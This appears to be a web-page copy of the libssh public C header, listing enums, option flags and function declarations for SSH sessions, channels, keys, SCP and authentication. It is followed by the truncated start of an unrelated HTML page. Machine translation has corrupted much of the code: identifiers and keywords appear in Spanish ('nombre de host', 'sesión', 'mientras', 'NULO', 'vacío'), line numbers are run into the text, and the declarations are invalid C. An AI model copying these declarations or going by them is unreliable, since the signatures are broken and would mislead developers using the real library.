0, 145 SSH_HOSTKEYS, 146 SSH_CRYPT_C_S, 147 SSH_CRYPT_S_C, 148 SSH_MAC_C_S, 149 SSH_MAC_S_C, 150 SSH_COMP_C_S, 151 SSH_COMP_S_C, 152 SSH_LANG_C_S, 153 SSH_LANG_S_C 154 }; 155 156 #define SSH_CRYPT 2 157 #define SSH_MAC 3 158 #define SSH_COMP 4 159 #define SSH_LANG 5 160 161 enum ssh_auth_e { 162 SSH_AUTH_SUCCESS = 0, 163 SSH_AUTH_DENIED, 164 SSH_AUTH_PARTIAL, 165 SSH_AUTH_INFO, 166 SSH_AUTH_AGAIN, 167 SSH_AUTH_ERROR = -1 168 }; 169 170 / * banderas de autenticación * / 171 #define SSH_AUTH_METHOD_UNKNOWN 0 172 #define SSH_AUTH_METHOD_NONE 0x0001 173 #define SSH_AUTH_METHOD_PASSWORD 0x0002 174 #define SSH_AUTH_METHOD_PUBLICKEY 0x0004 175 #define SSH_AUTH_METHOD_HOSTBASED 0x0008 176 #define SSH_AUTH_METHOD_INTERACTIVE 0x0010 177 #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020 178 179 / * mensajes * / 180 enum ssh_requests_e { 181 SSH_REQUEST_AUTH = 1, 182 SSH_REQUEST_CHANNEL_OPEN, 183 SSH_REQUEST_CHANNEL, 184 SSH_REQUEST_SERVICE, 185 SSH_REQUEST_GLOBAL 186 }; 187 188 enum ssh_channel_type_e { 189 SSH_CHANNEL_UNKNOWN = 0, 190 SSH_CHANNEL_SESSION, 191 SSH_CHANNEL_DIRECT_TCPIP, 192 SSH_CHANNEL_FORWARDED_TCPIP, 193 SSH_CHANNEL_X11, 194 SSH_CHANNEL_AUTH_AGENT 195 }; 196 197 enum ssh_channel_requests_e { 198 SSH_CHANNEL_REQUEST_UNKNOWN = 0, 199 SSH_CHANNEL_REQUEST_PTY, 200 SSH_CHANNEL_REQUEST_EXEC, 201 SSH_CHANNEL_REQUEST_SHELL, 202 SSH_CHANNEL_REQUEST_ENV, 203 SSH_CHANNEL_REQUEST_SUBSYSTEM, 204 SSH_CHANNEL_REQUEST_WINDOW_CHANGE, 205 SSH_CHANNEL_REQUEST_X11 206 }; 207 208 enum ssh_global_requests_e { 209 SSH_GLOBAL_REQUEST_UNKNOWN = 0, 210 SSH_GLOBAL_REQUEST_TCPIP_FORWARD, 211 SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, 212 SSH_GLOBAL_REQUEST_KEEPALIVE 213 }; 214 215 enum ssh_publickey_state_e { 216 SSH_PUBLICKEY_STATE_ERROR = -1, 217 SSH_PUBLICKEY_STATE_NONE = 0, 218 SSH_PUBLICKEY_STATE_VALID = 1, 219 SSH_PUBLICKEY_STATE_WRONG = 2 220 }; 221 222 / * Indicadores de estado * / 224 #define SSH_CLOSED 0x01 225 226 #define SSH_READ_PENDING 0x02 227 228 #define SSH_CLOSED_ERROR 0x04 229 230 #define SSH_WRITE_PENDING 0x08 231 232 enum ssh_server_known_e { 233 SSH_SERVER_ERROR = -1, 234 SSH_SERVER_NOT_KNOWN = 0, 235 SSH_SERVER_KNOWN_OK, 236 SSH_SERVER_KNOWN_CHANGED, 237 SSH_SERVER_FOUND_OTHER, 238 SSH_SERVER_FILE_NOT_FOUND 239 }; 240 241 enum ssh_known_hosts_e { 245 SSH_KNOWN_HOSTS_ERROR = -2, 246 251 SSH_KNOWN_HOSTS_NOT_FOUND = -1, 252 257 SSH_KNOWN_HOSTS_UNKNOWN = 0, 258 262 SSH_KNOWN_HOSTS_OK, 263 269 SSH_KNOWN_HOSTS_CHANGED, 270 275 SSH_KNOWN_HOSTS_OTHER, 276 }; 277 278 #ifndef MD5_DIGEST_LEN 279 #define MD5_DIGEST_LEN 16 280 #endif 281 / * errores * / 282 283 enum ssh_error_types_e { 284 SSH_NO_ERROR = 0, 285 SSH_REQUEST_DENIED, 286 SSH_FATAL, 287 SSH_EINTR 288 }; 289 290 / * algunos tipos de claves * / 291 enum ssh_keytypes_e { 292 SSH_KEYTYPE_UNKNOWN = 0, 293 SSH_KEYTYPE_DSS = 1, 294 SSH_KEYTYPE_RSA, 295 SSH_KEYTYPE_RSA1, 296 SSH_KEYTYPE_ECDSA, 297 SSH_KEYTYPE_ED25519, 298 SSH_KEYTYPE_DSS_CERT01, 299 SSH_KEYTYPE_RSA_CERT01 300 }; 301 302 enum ssh_keycmp_e { 303 SSH_KEY_CMP_PUBLIC = 0, 304 SSH_KEY_CMP_PRIVATE 305 }; 306 307 #define SSH_ADDRSTRLEN 46 308 309 struct ssh_knownhosts_entry { 310 char * nombre de host; 311 char * sin analizar; 312 ssh_key publickey; 313 char * comentario; 314 }; 315 316 317 / * Códigos de retorno de error * / 318 #define SSH_OK 0 / * Sin error * / 319 #define SSH_ERROR -1 / * Error de algún tipo * / 320 #define SSH_AGAIN -2 / * La llamada sin bloqueo debe repetirse * / 321 #define SSH_EOF -127 / * Ya tenemos un eof * / 322 329 enum { 332 SSH_LOG_NOLOG = 0, 335 SSH_LOG_WARNING , 338 SSH_LOG_PROTOCOL , 341 SSH_LOG_PACKET , 344 SSH_LOG_FUNCTIONS 345 }; 347 #define SSH_LOG_RARE SSH_LOG_WARNING 348 357 #define SSH_LOG_NONE 0 358 359 #define SSH_LOG_WARN 1 360 361 #define SSH_LOG_INFO 2 362 363 #define SSH_LOG_DEBUG 3 364 365 #define SSH_LOG_TRACE 4 366 369 enum ssh_options_e { 370 SSH_OPTIONS_HOST, 371 SSH_OPTIONS_PORT, 372 SSH_OPTIONS_PORT_STR, 373 SSH_OPTIONS_FD, 374 SSH_OPTIONS_USER, 375 SSH_OPTIONS_SSH_DIR, 376 SSH_OPTIONS_IDENTITY, 377 SSH_OPTIONS_ADD_IDENTITY, 378 SSH_OPTIONS_KNOWNHOSTS, 379 SSH_OPTIONS_TIMEOUT, 380 SSH_OPTIONS_TIMEOUT_USEC, 381 SSH_OPTIONS_SSH1, 382 SSH_OPTIONS_SSH2, 383 SSH_OPTIONS_LOG_VERBOSITY, 384 SSH_OPTIONS_LOG_VERBOSITY_STR, 385 SSH_OPTIONS_CIPHERS_C_S, 386 SSH_OPTIONS_CIPHERS_S_C, 387 SSH_OPTIONS_COMPRESSION_C_S, 388 SSH_OPTIONS_COMPRESSION_S_C, 389 SSH_OPTIONS_PROXYCOMMAND, 390 SSH_OPTIONS_BINDADDR, 391 SSH_OPTIONS_STRICTHOSTKEYCHECK, 392 SSH_OPTIONS_COMPRESSION, 393 SSH_OPTIONS_COMPRESSION_LEVEL, 394 SSH_OPTIONS_KEY_EXCHANGE, 395 SSH_OPTIONS_HOSTKEYS, 396 SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, 397 SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, 398 SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 399 SSH_OPTIONS_HMAC_C_S, 400 SSH_OPTIONS_HMAC_S_C, 401 SSH_OPTIONS_PASSWORD_AUTH, 402 SSH_OPTIONS_PUBKEY_AUTH, 403 SSH_OPTIONS_KBDINT_AUTH, 404 SSH_OPTIONS_GSSAPI_AUTH, 405 SSH_OPTIONS_GLOBAL_KNOWNHOSTS, 406 SSH_OPTIONS_NODELAY, 407 SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, 408 SSH_OPTIONS_PROCESS_CONFIG, 409 SSH_OPTIONS_REKEY_DATA, 410 SSH_OPTIONS_REKEY_TIME, 411 }; 412 413 enum { 415 SSH_SCP_WRITE, 417 SSH_SCP_READ, 418 SSH_SCP_RECURSIVE = 0x10 419 }; 420 421 enum ssh_scp_request_types { 423 SSH_SCP_REQUEST_NEWDIR = 1, 425 SSH_SCP_REQUEST_NEWFILE, 427 SSH_SCP_REQUEST_EOF, 429 SSH_SCP_REQUEST_ENDDIR, 431 SSH_SCP_REQUEST_WARNING 432 }; 433 434 enum ssh_connector_flags_e { 436 SSH_CONNECTOR_STDOUT = 1, 438 SSH_CONNECTOR_STDERR = 2, 440 SSH_CONNECTOR_BOTH = 3 441 }; 442 443 LIBSSH_API int ssh_blocking_flush ( sesión ssh_session , int timeout); 444 LIBSSH_API ssh_channel ssh_channel_accept_x11 ( canal ssh_channel , int timeout_ms); 445 LIBSSH_API int ssh_channel_change_pty_size ( canal ssh_channel , int cols, int filas); 446 LIBSSH_API int ssh_channel_close ( canal ssh_channel ); 447 LIBSSH_API void ssh_channel_free ( canal ssh_channel ); 448 LIBSSH_API int ssh_channel_get_exit_status ( canal ssh_channel ); 449 LIBSSH_API ssh_session ssh_channel_get_session ( canal ssh_channel ); 450 LIBSSH_API int ssh_channel_is_closed ( canal ssh_channel ); 451 LIBSSH_API int ssh_channel_is_eof ( canal ssh_channel ); 452 LIBSSH_API int ssh_channel_is_open ( canal ssh_channel ); 453 LIBSSH_API ssh_channel ssh_channel_new ( sesión ssh_session ); 454 LIBSSH_API int ssh_channel_open_auth_agent ( canal ssh_channel ); 455 LIBSSH_API int ssh_channel_open_forward ( canal ssh_channel , const char * host remoto, 456 int puerto remoto, const char * sourcehost, int localport); 457 LIBSSH_API int ssh_channel_open_session ( canal ssh_channel ); 458 LIBSSH_API int ssh_channel_open_x11 ( canal ssh_channel , const char * orig_addr, int orig_port); 459 LIBSSH_API int ssh_channel_poll ( canal ssh_channel , int is_stderr); 460 LIBSSH_API int ssh_channel_poll_timeout ( canal ssh_channel , int timeout, int is_stderr); 461 LIBSSH_API int ssh_channel_read ( canal ssh_channel , void * dest, uint32_t count, int is_stderr); 462 LIBSSH_API int ssh_channel_read_timeout ( ssh_channel channel, void * dest, uint32_t count, int is_stderr, int timeout_ms); 463 LIBSSH_API int ssh_channel_read_nonblocking ( canal ssh_channel , void * dest, uint32_t count, 464 int is_stderr); 465 LIBSSH_API int ssh_channel_request_env ( canal ssh_channel , const char * nombre, const char * valor); 466 LIBSSH_API int ssh_channel_request_exec ( canal ssh_channel , const char * cmd); 467 LIBSSH_API int ssh_channel_request_pty ( canal ssh_channel ); 468 LIBSSH_API int ssh_channel_request_pty_size ( canal ssh_channel , const char * term, 469 int cols, int filas); 470 LIBSSH_API int ssh_channel_request_shell ( canal ssh_channel ); 471 LIBSSH_API int ssh_channel_request_send_signal ( canal ssh_channel , const char * signum); 472 LIBSSH_API int ssh_channel_request_send_break ( ssh_channel canal, longitud uint32_t); 473 LIBSSH_API int ssh_channel_request_sftp ( canal ssh_channel ); 474 LIBSSH_API int ssh_channel_request_subsystem ( canal ssh_channel , const char * subsistema); 475 LIBSSH_API int ssh_channel_request_x11 ( canal ssh_channel , int single_connection, const char * protocolo, 476 const char * cookie, int número_pantalla); 477 LIBSSH_API int ssh_channel_request_auth_agent ( canal ssh_channel ); 478 LIBSSH_API int ssh_channel_send_eof ( canal ssh_channel ); 479 LIBSSH_API int ssh_channel_select ( ssh_channel * readchans, ssh_channel * writechans, ssh_channel * exceptchans, struct 480 timeval * tiempo de espera); 481 LIBSSH_API void ssh_channel_set_blocking ( canal ssh_channel , bloqueo int ); 482 LIBSSH_API void ssh_channel_set_counter ( canal ssh_channel , 483 contador ssh_counter ); 484 LIBSSH_API int ssh_channel_write ( canal ssh_channel , const void * datos, uint32_t len); 485 LIBSSH_API int ssh_channel_write_stderr ( canal ssh_channel , 486 const void * datos, 487 uint32_t len); 488 LIBSSH_API uint32_t ssh_channel_window_size ( canal ssh_channel ); 489 490 LIBSSH_API char * ssh_basename ( const char * ruta); 491 LIBSSH_API void ssh_clean_pubkey_hash ( carácter sin firmar ** hash); 492 LIBSSH_API int ssh_connect ( sesión ssh_session ); 493 494 LIBSSH_API ssh_connector ssh_connector_new ( sesión ssh_session ); 495 LIBSSH_API void ssh_connector_free ( conector ssh_connector ); 496 LIBSSH_API int ssh_connector_set_in_channel ( conector ssh_connector , 497 canal ssh_channel , 498 enum ssh_connector_flags_e banderas); 499 LIBSSH_API int ssh_connector_set_out_channel ( conector ssh_connector , 500 canal ssh_channel , 501 enum ssh_connector_flags_e flags); 502 LIBSSH_API void ssh_connector_set_in_fd ( ssh_connector conector, fd socket_t); 503 LIBSSH_API vacío ssh_connector_set_out_fd ( ssh_connector conector, fd socket_t); 504 505 LIBSSH_API const char * ssh_copyright ( void ); 506 LIBSSH_API void ssh_disconnect ( sesión ssh_session ); 507 LIBSSH_API char * ssh_dirname ( const char * ruta); 508 LIBSSH_API int ssh_finalize ( void ); 509 510 / * REENVÍO DE PUERTO INVERSO * / 511 LIBSSH_API ssh_channel ssh_channel_accept_forward ( sesión ssh_session , 512 int timeout_ms, 513 int * puerto_destino); 514 LIBSSH_API int ssh_channel_cancel_forward ( sesión ssh_session , 515 const char * dirección, 516 int puerto); 517 LIBSSH_API int ssh_channel_listen_forward ( sesión ssh_session , 518 const char * dirección, 519 puerto internacional , 520 int * puerto_delimitado); 521 522 LIBSSH_API void ssh_free ( sesión ssh_session ); 523 LIBSSH_API const char * ssh_get_disconnect_message ( sesión ssh_session ); 524 LIBSSH_API const char * ssh_get_error ( void * error); 525 LIBSSH_API int ssh_get_error_code ( void * error); 526 LIBSSH_API socket_t ssh_get_fd ( sesión ssh_session ); 527 LIBSSH_API char * ssh_get_hexa ( const unsigned char * what, size_t len); 528 LIBSSH_API char * ssh_get_issue_banner ( sesión ssh_session ); 529 LIBSSH_API int ssh_get_openssh_version ( sesión ssh_session ); 530 531 LIBSSH_API int ssh_get_server_publickey ( ssh_session sesión, clave ssh tecla *); 532 533 enum ssh_publickey_hash_type { 534 SSH_PUBLICKEY_HASH_SHA1, 535 SSH_PUBLICKEY_HASH_MD5, 536 SSH_PUBLICKEY_HASH_SHA256 537 }; 538 LIBSSH_API int ssh_get_publickey_hash ( clave const ssh_key , 539 enum ssh_publickey_hash_type type, 540 char ** hash sin firmar , 541 size_t * HLEN); 542 543 / * FUNCIONES ANULADAS * / 544 SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash ( sesión ssh_session , carácter sin firmar ** hash); 545 SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept ( sesión ssh_session , int timeout_ms); 546 SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel ( sesión ssh_session , const char * dirección, int puerto); 547 SSH_DEPRECATED LIBSSH_API int ssh_forward_listen ( sesión ssh_session , const char * dirección, int puerto, int * bound_port); 548 SSH_DEPRECATED LIBSSH_API int ssh_get_publickey ( ssh_session sesión, clave ssh tecla *); 549 SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost ( sesión ssh_session ); 550 SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost ( sesión ssh_session ); 551 SSH_DEPRECATED LIBSSH_API int ssh_is_server_known ( sesión ssh_session ); 552 SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len); 553 554 555 556 LIBSSH_API int ssh_get_random ( void * donde, int len, int fuerte); 557 LIBSSH_API int ssh_get_version ( sesión ssh_session ); 558 LIBSSH_API int ssh_get_status ( sesión ssh_session ); 559 LIBSSH_API int ssh_get_poll_flags ( sesión ssh_session ); 560 LIBSSH_API int ssh_init ( vacío ); 561 LIBSSH_API int ssh_is_blocking ( sesión ssh_session ); 562 LIBSSH_API int ssh_is_connected ( sesión ssh_session ); 563 564 / * HOSTS CONOCIDOS * / 565 LIBSSH_API void ssh_knownhosts_entry_free ( struct ssh_knownhosts_entry * entrada); 566 #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\ 567 si ((e)! = NULO) {\ 568 ssh_knownhosts_entry_free (e); \ 569 e = NULO; \ 570 } \ 571 } mientras (0) 572 573 LIBSSH_API int ssh_known_hosts_parse_line ( const char * host, 574 const char * línea, 575 entrada struct ssh_knownhosts_entry **); 576 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_has_known_hosts_entry ( sesión ssh_session ); 577 578 LIBSSH_API int ssh_session_export_known_hosts_entry ( sesión ssh_session , 579 Char ** pentry_string); 580 LIBSSH_API int ssh_session_update_known_hosts ( sesión ssh_session ); 581 582 LIBSSH_API enumeración ssh_known_hosts_e 583 ssh_session_get_known_hosts_entry ( sesión ssh_session , 584 struct ssh_knownhosts_entry ** pentry); 585 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_is_known_server ( sesión ssh_session ); 586 587 / * REGISTRO * / 588 LIBSSH_API int ssh_set_log_level ( nivel int ); 589 LIBSSH_API int ssh_get_log_level ( void ); 590 LIBSSH_API void * ssh_get_log_userdata ( void ); 591 LIBSSH_API int ssh_set_log_userdata ( void * datos); 592 LIBSSH_API void _ssh_log ( int verbosidad, 593 const char * función , 594 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 595 596 / * legado * / 597 SSH_DEPRECATED LIBSSH_API void ssh_log ( sesión ssh_session , 598 int prioridad, 599 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 600 601 LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept ( ssh_message msg); 602 LIBSSH_API int ssh_message_channel_request_reply_success ( ssh_message msg); 603 #define SSH_MESSAGE_FREE (x) \ 604 hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0) 605 LIBSSH_API void ssh_message_free ( ssh_message msg); 606 LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session ); 607 LIBSSH_API int ssh_message_subtype ( ssh_message msg); 608 LIBSSH_API int ssh_message_type ( ssh_message msg); 609 LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t); 610 LIBSSH_API ssh_session ssh_new(void); 611 612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); 613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); 614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); 615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, 616 const void *value); 617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, 618 char **value); 619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); 620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); 621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); 622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); 623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); 624 638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, 639 int echo, int verify, void *userdata); 640 641 LIBSSH_API ssh_key ssh_key_new(void); 642 #define SSH_KEY_FREE(x) \ 643 do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) 644 LIBSSH_API void ssh_key_free (ssh_key key); 645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); 646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); 647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); 648 LIBSSH_API int ssh_key_is_public(const ssh_key k); 649 LIBSSH_API int ssh_key_is_private(const ssh_key k); 650 LIBSSH_API int ssh_key_cmp(const ssh_key k1, 651 const ssh_key k2, 652 enum ssh_keycmp_e what); 653 654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, 655 ssh_key *pkey); 656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, 657 const char *passphrase, 658 ssh_auth_callback auth_fn, 659 void *auth_data, 660 ssh_key *pkey); 661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, 662 const char *passphrase, 663 ssh_auth_callback auth_fn, 664 void *auth_data, 665 char **b64_key); 666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, 667 const char *passphrase, 668 ssh_auth_callback auth_fn, 669 void *auth_data, 670 ssh_key *pkey); 671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, 672 const char *passphrase, 673 ssh_auth_callback auth_fn, 674 void *auth_data, 675 const char *filename); 676 677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, 678 ssh_key privkey); 679 680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, 681 enum ssh_keytypes_e type, 682 ssh_key *pkey); 683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, 684 ssh_key *pkey); 685 686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, 687 enum ssh_keytypes_e type, 688 ssh_key *pkey); 689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename, 690 ssh_key *pkey); 691 692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, 693 ssh_key *pkey); 694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, 695 char **b64_key); 696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, 697 const char *filename); 698 699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); 700 701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, 702 unsigned char *hash, 703 size_t len); 704 LIBSSH_API void ssh_print_hash(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); 705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); 706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); 707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); 708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); 709 LIBSSH_API int ssh_scp_close(ssh_scp scp); 710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); 711 LIBSSH_API void ssh_scp_free(ssh_scp scp); 712 LIBSSH_API int ssh_scp_init(ssh_scp scp); 713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); 714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); 715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); 716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); 717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); 718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); 719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); 720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); 721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); 722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); 723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); 724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); 725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); 726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, 727 fd_set *readfds, struct timeval *timeout); 728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service); 729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel); 730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); 731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); 732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, 733 ssh_counter rcounter); 734 LIBSSH_API void ssh_set_fd_except(ssh_session session); 735 LIBSSH_API void ssh_set_fd_toread(ssh_session session); 736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session); 737 LIBSSH_API void ssh_silent_disconnect(ssh_session session); 738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); 739 740 /* USERAUTH */ 741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); 742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); 743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, 744 const char *username, 745 const ssh_key pubkey); 746 LIBSSH_API int ssh_userauth_publickey(ssh_session session, 747 const char *username, 748 const ssh_key privkey); 749 #ifndef _WIN32 750 LIBSSH_API int ssh_userauth_agent(ssh_session session, 751 const char *username); 752 #endif 753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, 754 const char *username, 755 const char *passphrase); 756 LIBSSH_API int ssh_userauth_password(ssh_session session, 757 const char *username, 758 const char *password); 759 760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); 761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); 762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); 763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); 764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); 765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); 766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); 767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, 768 const char *answer); 769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session); 770 LIBSSH_API const char *ssh_version(int req_version); 771 772 LIBSSH_API void ssh_string_burn(ssh_string str); 773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str); 774 LIBSSH_API void *ssh_string_data(ssh_string str); 775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); 776 #define SSH_STRING_FREE(x) \ 777 do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) 778 LIBSSH_API void ssh_string_free(ssh_string str); 779 LIBSSH_API ssh_string ssh_string_from_char(const char *what); 780 LIBSSH_API size_t ssh_string_len(ssh_string str); 781 LIBSSH_API ssh_string ssh_string_new(size_t size); 782 LIBSSH_API const char *ssh_string_get_char(ssh_string str); 783 LIBSSH_API char *ssh_string_to_char(ssh_string str); 784 #define SSH_STRING_FREE_CHAR(x) \ 785 do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) 786 LIBSSH_API void ssh_string_free_char(char *s); 787 788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, 789 int verify); 790 791 792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); 793 794 LIBSSH_API ssh_event ssh_event_new(void); 795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, 796 ssh_event_callback cb, void *userdata); 797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); 798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); 799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); 800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); 801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); 802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); 803 LIBSSH_API void ssh_event_free(ssh_event event); 804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); 805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); 806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); 807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); 808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); 809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); 810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); 811 812 LIBSSH_API ssh_buffer ssh_buffer_new(void); 813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); 814 #define SSH_BUFFER_FREE(x) \ 815 do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) 816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); 817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); 818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); 819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); 820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); 821 822 #ifndef LIBSSH_LEGACY_0_4 823 #include "libssh/legacy.h" 824 #endif 825 826 #ifdef __cplusplus 827 } 828 #endif 829 #endif /* _LIBSSH_H */</small> </body> </html> <!-- Juan Angel Luzardo Muslera / montevideo Uruguay -->
Nenu-doc / Acta Non Verba<!DOCTYPE html> <html> <head> <title>Biblioteca</title> </head> <body> <pre style='color:#d1d1d1;background:#000000;'><span style='color:#008073; '><!DOCTYPE html></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>html</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>head</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>title</span><span style='color:#ff8906; '>></span>Biblioteca<span style='color:#ff8906; '></</span><span style='color:#e66170; font-weight:bold; '>title</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '></</span><span style='color:#e66170; font-weight:bold; '>head</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>body</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>h2</span> id<span style='color:#d2cd86; '>=</span><span style='color:#00c4c4; '>"fly"</span><span style='color:#ff8906; '>></span>White flag Juan Angel / Montevideo Uruguay<span style='color:#ff8906; '></</span><span style='color:#e66170; font-weight:bold; '>h2</span><span style='color:#ff8906; '>></span> <span style='color:#ff8906; '><</span><span style='color:#e66170; font-weight:bold; '>script</span> type<span style='color:#d2cd86; '>=</span><span style='color:#00c4c4; '>"text/javascript"</span><span style='color:#ff8906; '>></span> message <span style='color:#d2cd86; '>=</span> document<span style='color:#d2cd86; '>.</span>getElementById<span style='color:#d2cd86; '>(</span><span style='color:#02d045; '>"</span><span 